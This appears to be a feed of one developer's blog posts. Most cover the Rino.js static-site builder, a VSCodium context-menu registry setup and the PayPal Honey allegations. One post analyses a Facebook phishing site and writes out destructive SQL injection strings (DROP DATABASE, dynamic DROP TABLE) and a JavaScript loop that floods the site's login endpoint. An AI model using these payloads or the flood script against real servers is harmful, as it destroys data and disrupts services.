DEV Community: Victor Chanil Park

Rino.js 3, Building Modern Websites Without a Frontend Framework

Victor Chanil Park — Thu, 30 Jul 2026 09:35:26 +0000

Modern web development has become incredibly powerful. But also increasingly complicated.

Many projects begin by installing hundreds of megabytes of dependencies before writing a single page. Frameworks, bundlers, routers, templating systems, CSS tooling, and runtime libraries all solve important problems, but they also introduce additional complexity.

I wanted something different.

I wanted to build websites that start with plain HTML, while still providing the features developers expect today:

Reusable components
Markdown support
TypeScript
CSS and JavaScript bundling
Internationalization (i18n)
Content collections
RSS/Atom feeds
Sitemap generation
Fast development builds

That idea became Rino.js.

What is Rino.js?

Rino.js is an HTML-first website compiler for building static websites, documentation, blogs, portfolios, company websites, and other content driven projects.

Instead of introducing a custom templating language or requiring a frontend framework, Rino.js treats HTML as the primary language. Pages remain valid HTML while additional functionality is added through a small set of build-time conventions.

The goal is simple:

Write HTML. Generate optimized static websites.

Why HTML First?

HTML has existed for decades, yet modern web development often treats it as something generated by another language.

Rino.js takes the opposite approach.

Instead of writing components in JSX or another template language, components are simply HTML files.

<component rino-import="header"></component>

That's all it takes.

The compiler replaces the component during the build, producing plain static HTML with no runtime dependency.

Starting Rino.js

Rino.js has a command that is designed to provide default project.

npm create rino@latest

Project Shape

A Rino.js project usually looks like this:

my-site/
  rino-config.js
  dev.js
  generate.js
  feed.js
  sitemap.js
  backoffice.js
  pages/
    index.html
    about.html
  components/
    header.html
    footer.html
  public/
    images/
      photo.webp
  scripts/
    export/
      app.js
      dashboard.ts
  styles/
    export/
      site.css
  mds/
    intro.md
  contents/
    en/
      blog/
        1-first-post.md
  content-theme/
    en/
      content.html
      content-list.html
  i18n/
    en/
      index.json
    ko/
      index.json

Only the folders you need are required. For a small static site, pages/, components/, public/, scripts/export/, and styles/export/ may be enough.

Configuration

The project configuration lives in rino-config.js.

export default {
  dist: "./dist",
  port: 3000,
  site: {
    url: "https://example.com",
  },
  sitemap: ["https://example.com/custom-page"],
  i18n: {
    defaultLocale: "en",
    locales: ["en", "ko"],
  },
};

dist controls the output folder, port controls the development server, site.url is used for sitemap and feeds, sitemap adds extra URLs, and i18n controls localized page generation.

Pages

Files in pages/ become HTML files in the output.

pages/index.html        -> dist/index.html
pages/about.html        -> dist/about.html
pages/blog/index.html   -> dist/blog/index.html

A page is normal HTML with optional Rino syntax:

<!doctype html>
<html>
  <head>
    <title><lang>site.title</lang></title>
    <link rel="stylesheet" href="/styles/site.css" />
    <script src="/scripts/app.js"></script>
  </head>
  <body>
    <component rino-import="header"></component>

    <main>
      <h1><lang>home.heading</lang></h1>
      <script rino-type="md" rino-import="intro" rino-tag="section"></script>
    </main>

    <component rino-import="footer" rino-tag="footer"></component>
  </body>
</html>

Components

Components live in components/. Use <component> to render one inside a page or another component.

<component rino-import="header"></component>

This loads:

components/header.html

Nested component paths are supported:

<component rino-import="layout/sidebar"></component>

This loads:

components/layout/sidebar.html

Use rino-tag when you want to wrap the component output in an element and pass attributes to that wrapper.

<component
  rino-import="button"
  rino-tag="button"
  type="button"
  class="button"
  onclick="alert('Hello')"
></component>

If components/button.html contains:

Click me

The generated HTML becomes:

<button type="button" class="button" onclick="alert('Hello')">Click me</button>

In version 3, use rino-import. The older rino-path syntax is not supported.

Markdown

Rino.js can render Markdown snippets from mds/.

mds/intro.md

<script rino-type="md" rino-import="intro" rino-tag="section" class="intro"></script>

That renders mds/intro.md inside a <section>.

You can also write Markdown inline:

<script rino-type="markdown" rino-tag="article" type="text/markdown">
  ## Hello from Markdown

  This content is rendered during the build.
</script>

Supported Markdown types are md and markdown.

Template Scripts

Template scripts run during generation. They print HTML into the generated page with console.log.

JavaScript template script:

<script rino-type="js" type="text/javascript">
  console.log("<ul>");
  for (const item of ["Home", "Blog", "About"]) {
    console.log(`<li>${item}</li>`);
  }
  console.log("</ul>");
</script>

TypeScript template script:

<script rino-type="ts" type="text/typescript">
  const message: string = "Generated with TypeScript";
  console.log(`<p>${message}</p>`);
</script>

Template scripts can use Node.js imports:

<script rino-type="js" type="text/javascript">
  import os from "os";
  console.log(`<p>Built on ${os.type()}</p>`);
</script>

In version 3, template execution is faster because Rino.js reuses an isolated child-process runner instead of creating a new process for every template script tag.

Browser Scripts

Browser scripts are normal browser JavaScript. Put source files in scripts/export/.

scripts/export/app.js -> dist/scripts/app.js
scripts/export/app.ts -> dist/scripts/app.js

Reference the generated file from HTML:

<script src="/scripts/app.js"></script>

Example JavaScript:

document.querySelector("button")?.addEventListener("click", () => {
  console.log("Clicked");
});

Example TypeScript:

const button = document.querySelector<HTMLButtonElement>("button");

button?.addEventListener("click", () => {
  console.log("Clicked with TypeScript");
});

Rino.js bundles scripts and minifies the output. Minification is useful for smaller files.

CSS

Put CSS files in styles/export/.

styles/export/site.css -> dist/styles/site.css

@import "../theme.css";

body {
  font-family: system-ui, sans-serif;
}

Reference the generated CSS:

<link rel="stylesheet" href="/styles/site.css" />

Rino.js resolves local CSS imports, skips circular imports, skips URL imports, and minifies CSS output.

Public Assets

Files in public/ are copied to the output root.

public/favicon.ico       -> dist/favicon.ico
public/images/photo.webp -> dist/images/photo.webp

Use root-relative paths:

<img src="/images/photo.webp" alt="Photo" />
<link rel="icon" href="/favicon.ico" />

Inline style, javascript and typescript Exports

rino-export lets a page or component keep related CSS and javascript close to its HTML while still generating external files.

Exported tags are removed from final HTML and written to generated assets.

CSS Export

<section class="callout">
  <h2>Hello</h2>
</section>

<style rino-export="/site.css">
  .callout {
    border: 1px solid #ddd;
    padding: 1rem;
  }
</style>

This writes:

dist/styles/site.css

JavaScript Export

<script rino-export="/site.js">
  console.log("Exported browser script");

  window.openMenu = function () {
    document.body.classList.toggle("menu-open");
  };
</script>

This writes:

dist/scripts/site.js

TypeScript Export

<script rino-export="/site.ts" type="text/typescript">
  const message: string = "Exported TypeScript";
  console.log(message);
</script>

This writes JavaScript:

dist/scripts/site.js

If code outside the bundle needs to call a function, attach it to window.

<script rino-export="/site.ts" type="text/typescript">
  (window as any).testExportTypescript = function (): void {
    console.log("Called from outside");
  };
</script>

Then call it from HTML:

<button onclick="window.testExportTypescript()">Run</button>

Multiple tags can export to the same file. Rino.js appends unique blocks and ignores exact duplicate blocks.

i18n

Use <lang> tags in pages and components:

<h1><lang>name</lang></h1>
<p><lang>body.hero.copy</lang></p>
<p><lang>items[0].title</lang></p>

Create matching JSON files in i18n/{locale}/.

pages/index.html
i18n/en/index.json
i18n/ko/index.json

Example of i18n/en/index.json:

{
  "name": "Rino.js",
  "body": {
    "hero": {
      "copy": "Simple static websites from HTML."
    }
  },
  "items": [
    {
      "title": "First item"
    }
  ]
}

The default locale is generated at the normal page path. Other locales are generated under their locale prefix, such as /ko/index.html.

Missing keys remain in the HTML instead of breaking the build. To keep a literal language tag, escape it:

\<lang>name\</lang>

Content Collections

Rino.js can build Markdown content collections such as blogs.

contents/en/blog/1-first-post.md

Markdown content can start with JSON metadata inside an HTML comment:

<!--
{
  "title": "Welcome to the Blog",
  "time": "2026-07-29T00:00:00.000Z",
  "description": "The first post on our Rino.js blog."
}
-->

# Hello World

This is the first post.

This generates:

dist/contents/en/blog/1-first-post.html

The matching template lives at:

content-theme/en/content.html

Example content template:

<!doctype html>
<html lang="en">
  <head>
    <title>{{ content.title }}</title>
  </head>
  <body>
    <main>
      <h1>{{ content.title }}</h1>
      <p>{{ content.time }}</p>
      <article>{{ content.body }}</article>
    </main>
  </body>
</html>

You can access metadata and generated fields:

{{ content.title }}
{{ content.description }}
{{ content.body }}
{{ content.urlPath }}
{{ content.nearby[0].title }}

For loops, use a template script:

<script rino-type="js" type="text/javascript">
  const args = process.argv;
  const content = JSON.parse(args[args.length - 1]);

  console.log("<ul>");
  for (const post of content.nearby || []) {
    console.log(`<li><a href="${post.link}">${post.title}</a></li>`);
  }
  console.log("</ul>");
</script>

Content Lists

Content list templates live next to content templates:

content-theme/en/content-list.html

Rino.js creates paginated list pages for each category:

dist/contents-list/en/blog/blog-1.html

Example:

<ol>
  <script rino-type="js" type="text/javascript">
    const args = process.argv;
    const data = JSON.parse(args[args.length - 1]);

    for (const item of data.contentList) {
      console.log(`<li><a href="${item.link}">${item.title}</a></li>`);
    }
  </script>
</ol>

Available data includes:

{{ contentList[0].title }}
{{ pagination.prevLink }}
{{ pagination.nextLink }}

Template scripts are usually the better option for rendering arrays.

Sitemap and Feeds

Rino.js can generate a sitemap from pages, localized pages, content pages, and extra config URLs.

import { generateProjectSitemapFile } from "rinojs";
import config from "./rino-config.js";

await generateProjectSitemapFile(process.cwd(), config);

It can also generate RSS and Atom feeds from contents/.

import { generateProjectFeedFiles } from "rinojs";
import config from "./rino-config.js";

await generateProjectFeedFiles(process.cwd(), config);

Typical outputs:

dist/sitemap.xml
dist/rss.xml
dist/atom.xml
dist/rss-en.xml
dist/atom-en.xml

My Goal

Rather than building another frontend framework, I wanted to explore how far plain HTML could go with a lightweight compiler.

The result is a workflow that keeps HTML at the center while adding practical build-time features when they're needed.

Version 3 is a major milestone, but it's only the beginning. There are many ideas for future releases, and I'm looking forward to continuing to improve the project based on real world use.

rinojs / rinojs

Fast learning, preprocessing, intuitive web framework

Rino.js 🦏

Fast learning, preprocessing, intuitive web framework

Rino.js is created to fix the complexity matters of web framework.

▶️ Installation

The recommended way to start your Rino project:

npm create rino@latest

For manual setup:

npm i rinojs

📢 Notice

🎉 Release version v3.0.0

Rino.js version 3 focuses on faster builds, cleaner generated output, and clearer template syntax. This is

rino-import replaces rino-path for component and markdown imports. rino-path is no longer supported.

<component rino-import="/common/header" rino-tag="header"></component>
<script rino-type="markdown" rino-import="/docs/getting-started"></script>

Inline styles and scripts can now be exported from generated pages and components with rino-export. Exported inline tags are removed from the final HTML and written into generated /styles or /scripts files. Duplicates will be ignored.

<style rino-export="/site.css">
  .example {
    display:

…

View on GitHub

Rino.js Home

Rino.js, Fast learning, preprocessing, intuitive web framework

rinojs.com

FB Marketplace Phishing Website Analysis

Victor Chanil Park — Sat, 29 Mar 2025 10:40:47 +0000

My Experience with a Facebook Marketplace Phishing Scam

Recently, I received a message from a random person on Facebook Marketplace who wanted to trade an item. He provided a link to what he claimed was his listing, but upon closer inspection, I realized it wasn’t a real Facebook Marketplace page. Instead, it was a phishing website designed to look like Facebook, created to steal people’s email addresses, phone numbers, and passwords.

Understanding Phishing Attacks

Online scams come in many forms, and phishing is one of the most common. Cybercriminals often can't attack large services directly due to strong security measures. Instead, they target individuals through emails, messages, or social media platforms, tricking them into revealing their credentials. These stolen credentials might not only be used for Facebook but also for financial accounts and other services.

Since I encountered this phishing website, I decided to analyze it and learn from it.

Phishing Website Analysis

The phishing website’s login form looked like this:

From this form, I could determine that the website's backend is built with PHP, as indicated by the action="do.php" attribute. Additionally, the website doesn’t validate whether the input is an email or a phone number, meaning it accepts both formats.

The phishing website’s Javascript code:

This script reveals an interesting trick: it displays a loading overlay for five seconds before submitting the form. This delay is likely an attempt to make the login process feel more legitimate to victims.

Additionally, I noticed that some comments in the code were written in Romanian, which suggests that the person who created the phishing site might speak Romanian. However, this does not confirm their nationality, as other Eastern Europeans (such as Russians, Ukrainians, or Poles) may also use Romanian. And this website can be done by a geek job as well. There are people who post a job to copy a website from Upwork.

Where do phishers host their websites?

Most phishers avoid cloud platforms like AWS or Google Cloud, as those services charge based on usage. If someone floods their phishing website with traffic, it could lead to high hosting costs and even credit card cancellations. Instead, they often use cheap shared hosting services, which are easier to shut down when reported.

How could someone attack this phishing website?

Disclaimer: Attacking someone’s server can be illegal depending on your country’s laws. This content is for educational purposes only - do not use it to harm others.

1. SQL injection (Potentially deleting their database)

Older versions of MySQL were vulnerable to SQL injection attacks that could delete databases. Here’s an example of an attack command that could attempt to remove their database:

'; DROP DATABASE information_schema; --

A more advanced version dynamically identifies and deletes tables:

'; SET @t = (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1); SET @query = CONCAT('DROP TABLE ', @t); PREPARE stmt FROM @query; EXECUTE stmt; --

2. Flooding the database with junk data (DDoS-like attack)

A phishing website’s database may not be well-optimized, and flooding it with thousands of fake logins could slow it down or crash it. Since the phishing website redirects after submission, an attacker would need a script that sends junk data without redirection.

Here’s a javascript that could be used:

function sendFakeDataRepeatedly(times, delay) {
    let i = 0;
    let interval = setInterval(() => {
        if (i >= times) {
            clearInterval(interval);
            console.log("Finished sending fake data.");
            return;
        }

        let formData = new FormData();
        formData.append("email", `stop.phishing.${i}@please.com`);
        formData.append("password", `stop.phishing.please`);

        fetch("do.php", {  // Change this if the endpoint is different
            method: "POST",
            body: formData,
        })
        .then(response => console.log(`Sent fake data ${i + 1}/${times}`))
        .catch(error => console.error("Error:", error));

        i++;
    }, delay);
}

// Run: Sends 1000 fake entries every 0.5 seconds
sendFakeDataRepeatedly(1000, 500);

This script continuously submits fake login credentials to flood the database. If the phishing site is hosted on a cloud-based pay-per-use platform, the increased traffic could drive up their costs significantly.

What happened to the phishing website?

Eventually, the phishing website was shut down by the hosting provider. The phishing website was hosted on a UK-based hosting service, which suspended it after detecting abuse.

Conclusion

Phishing remains a major cybersecurity threat, and attackers constantly find new ways to trick people into revealing their credentials. By analyzing phishing websites, we can better understand how they work and how to protect ourselves and others.

If you ever come across a suspicious website, report it to the relevant authorities and avoid engaging with it. Stay safe online!

How to add "Open with VSCodium" for Windows

Victor Chanil Park — Fri, 07 Feb 2025 07:53:46 +0000

If you're a developer using VSCodium on Windows, you might want a convenient way to open directories directly from File Explorer. This guide explains how to add "Open with VSCodium" to the context menu by modifying the Windows registry.
We will cover how to:

Add the option when right-clicking a folder name.
Add the option when right-clicking an empty space inside a folder.

Adding Registry Entries

The following registry commands will help you achieve these functionalities.

1. Add "Open with VSCodium" When Right-Clicking a Folder

This configuration allows you to open any folder by right-clicking directly on its name.
Command:

reg add "HKEY_CLASSES_ROOT\Directory\shell\Open with VSCodium\command" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%1\"" /f

Explanation:

HKEY_CLASSES_ROOT\Directory\shell\Open with VSCodium\command: Specifies the registry path to add the context menu option for folders.
%1: Passes the path of the folder you right-clicked.
Adjust C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe to match the location of your VSCodium installation.

2. Add "Open with VSCodium" When Right-Clicking in an Empty Space

This setup allows you to right-click in a blank area inside a directory and open that directory in VSCodium.

Step 1: Create the Main Entry

Command:

reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /ve /d "Open with VSCodium" /f

Step 2: Add Icon

Command:

reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /v "Icon" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\"" /f

Step 3: Set the Command Path

Command:

reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium\command" /ve /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%V\"" /f

Explanation:

HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium: Adds the option when right-clicking on empty space inside a folder.
%V: Refers to the current directory path.

Using Both Options Together

To have both options available—for folders and empty spaces—run all three commands together:

reg add "HKEY_CLASSES_ROOT\Directory\shell\Open with VSCodium\command" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%1\"" /f
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /ve /d "Open with VSCodium" /f
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /v "Icon" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\"" /f
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium\command" /ve /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%V\"" /f

Important Notes:

Run these commands in an elevated Command Prompt (as Administrator).
Double-check the path to your VSCodium installation.
If you make mistakes, you can remove the entries by deleting the corresponding registry keys.

With these changes, you can seamlessly open directories in VSCodium right from File Explorer, boosting your workflow efficiency.

Paypal honey browser extension's coupon scam

Victor Chanil Park — Thu, 09 Jan 2025 20:38:35 +0000

The Honey browser extension, owned by PayPal, has long been promoted as a tool to help users save money by automatically applying coupon codes during online shopping. However, recent allegations have surfaced, accusing Honey of engaging in deceptive practices that undermine content creators and mislead consumers.

Allegations Against Honey

Several content creators and legal professionals have accused Honey of:

Affiliate Link Hijacking: It's alleged that Honey replaces original affiliate links with its own during online purchases, redirecting commission payments to itself. This practice, known as "last-click attribution," deprives original affiliates, such as influencers and content creators, of their rightful earnings.
Manipulating Discount Codes: Critics claim that Honey may prioritize discount codes from its business partners over more beneficial savings available elsewhere, potentially misleading users about the best available deals.

Legal Actions

In late December 2024, a class-action lawsuit was filed against PayPal by YouTuber LegalEagle and other creators. The lawsuit alleges that Honey's practices violate California's Unfair Competition Law and interfere with creators' business relationships. The plaintiffs seek compensation and an injunction to stop these practices.

PayPal's Response

PayPal has denied the allegations, stating that Honey complies with industry standards, including last-click attribution. A spokesperson emphasized that merchants decide what coupons are offered through Honey, suggesting that the extension operates within accepted norms.

Implications for Users and Creators

If these allegations hold true, they have significant implications:

For Users: Consumers may not be receiving the best possible deals, contrary to Honey's promises. Additionally, the extension's practices could undermine the trust users place in online shopping tools.
For Creators: Content creators who rely on affiliate marketing for revenue may be losing income due to Honey's alleged link replacement tactics, affecting their livelihoods and the broader creator economy.

Conclusion

While Honey presents itself as a user-friendly tool for finding discounts, the recent allegations and ensuing legal actions suggest a more complex reality. Users and creators alike should stay informed and exercise caution when using browser extensions that interact with affiliate links and personal data.

In short

PayPal Honey browser extension replaces users' web browser cookies, links, and data, allegedly engaging in practices such as affiliate link hijacking, fake coupon generation, and prioritizing less beneficial discount codes.

Rino, easy static website builder with HTML, CSS and Typescript/Javascript

Victor Chanil Park — Sat, 14 Dec 2024 05:55:44 +0000

Fast learning, preprocessing, intuitive website builder

Rino.js is your go-to web framework for building efficient static websites with HTML, CSS and Typescript/Javascript. Designed for developers of all levels, it simplifies web development by combining the power of standard web technologies with streamlined preprocessing tools.

Requirement

Node.js
HTML
CSS
Javascript / Typescript

Quick Start

Getting started is as simple as:

npm create rino@latest

With just one command, you can set up your project and start developing immediately.

Why Choose Rino.js for Your Website?

Modern web frameworks like Angular, React, Next.js, Vue, and Nuxt have reshaped web app development, but they often come with challenges such as:

Higher Costs: Increased expenses for hosting, traffic management, and maintenance.
Complexity: Steep learning curves, complex rules, and slower build speeds.
Resource Demands: Higher computing requirements.

Enter Rino.js. Built to simplify the process, Rino.js focuses on standard web technologies: HTML, CSS, and JavaScript. It provides:

HTML Components: Easily build reusable components.
Seamless Integration: Use npm packages and libraries for JavaScript. Import CSS files and generate as one.
Automation Tools: Generate sitemaps, compress images, and more.

Even beginners can grasp the basics of Rino.js within 30 minutes, making it an excellent choice for rapid development. Check out the Project Structure and Syntax guide for a deeper dive.

Rino.js also offers flexibility: it allows you to integrate other frameworks like React or Vue when needed, keeping your project lightweight and manageable.

Commands

Development
Run a development server:

npm run dev

Static Website Generation
Generate your static website:

npm run generate

Generate your static website with a sitemap:

npm run generate-sitemap

Image Compression
Run the image compression tool:

npm run image

Project Structure

Rino.js 2 introduces an intuitive project directory and file structure, emphasizing automation and simplicity.
Key Directories

/pages: Base HTML files for web pages. The file and directory structure directly reflect the final output.
/components: Reusable HTML components. Use them with syntax like:

<component @path="/header" @tag="div" />

/mds: Markdown files, automatically parsed into HTML.
/public: Static files like images and external assets.
/scripts: JavaScript libraries. Place exportable scripts in /scripts/export/.
/styles: CSS libraries. Exportable styles go in /styles/export/.

Templating with JavaScript/TypeScript

<script @type="js">
import os from "os";
console.log(os.type());
console.log("<div>Hello, Rino.js!</div>");
</script>

Markdown Support

Embed Markdown directly into your HTML files:

<script @type="md">
# Markdown Title
This is Markdown content inside a HTML file.
</script>

Free, MIT licensed open-source project

Rino.js is an open-source project under the MIT license, free for everyone to use.

Learn More

Official Website - https://rinojs.org/
GitHub Discussions - https://github.com/orgs/rinojs/discussions
GitHub - https://github.com/rinojs

Start your journey with Rino.js today and redefine how you build a website—faster, simpler, and more intuitively.

DEV Community: Victor Chanil Park

Rino.js 3, Building Modern Websites Without a Frontend Framework

What is Rino.js?

Why HTML First?

Starting Rino.js

Project Shape

Configuration

Pages

Components

Markdown

Template Scripts

Browser Scripts

CSS

Public Assets

Inline style, javascript and typescript Exports

CSS Export

JavaScript Export

TypeScript Export

i18n

Content Collections

Content Lists

Sitemap and Feeds

My Goal

Links

rinojs / rinojs

Fast learning, preprocessing, intuitive web framework

Rino.js 🦏

▶️ Installation

📢 Notice

🎉 Release version v3.0.0

Rino.js Home

FB Marketplace Phishing Website Analysis

My Experience with a Facebook Marketplace Phishing Scam

Understanding Phishing Attacks

Phishing Website Analysis

The phishing website’s login form looked like this:

The phishing website’s Javascript code:

Where do phishers host their websites?

How could someone attack this phishing website?

1. SQL injection (Potentially deleting their database)

A more advanced version dynamically identifies and deletes tables:

2. Flooding the database with junk data (DDoS-like attack)

What happened to the phishing website?

Conclusion

How to add "Open with VSCodium" for Windows

Adding Registry Entries

1. Add "Open with VSCodium" When Right-Clicking a Folder

2. Add "Open with VSCodium" When Right-Clicking in an Empty Space

Step 1: Create the Main Entry

Step 2: Add Icon

Step 3: Set the Command Path

Using Both Options Together

Important Notes:

Paypal honey browser extension's coupon scam

Allegations Against Honey

Legal Actions

PayPal's Response

Implications for Users and Creators

Conclusion

In short

Rino, easy static website builder with HTML, CSS and Typescript/Javascript

Fast learning, preprocessing, intuitive website builder

Requirement

Quick Start

Why Choose Rino.js for Your Website?

Commands

Project Structure

Templating with JavaScript/TypeScript

Markdown Support

Free, MIT licensed open-source project

Learn More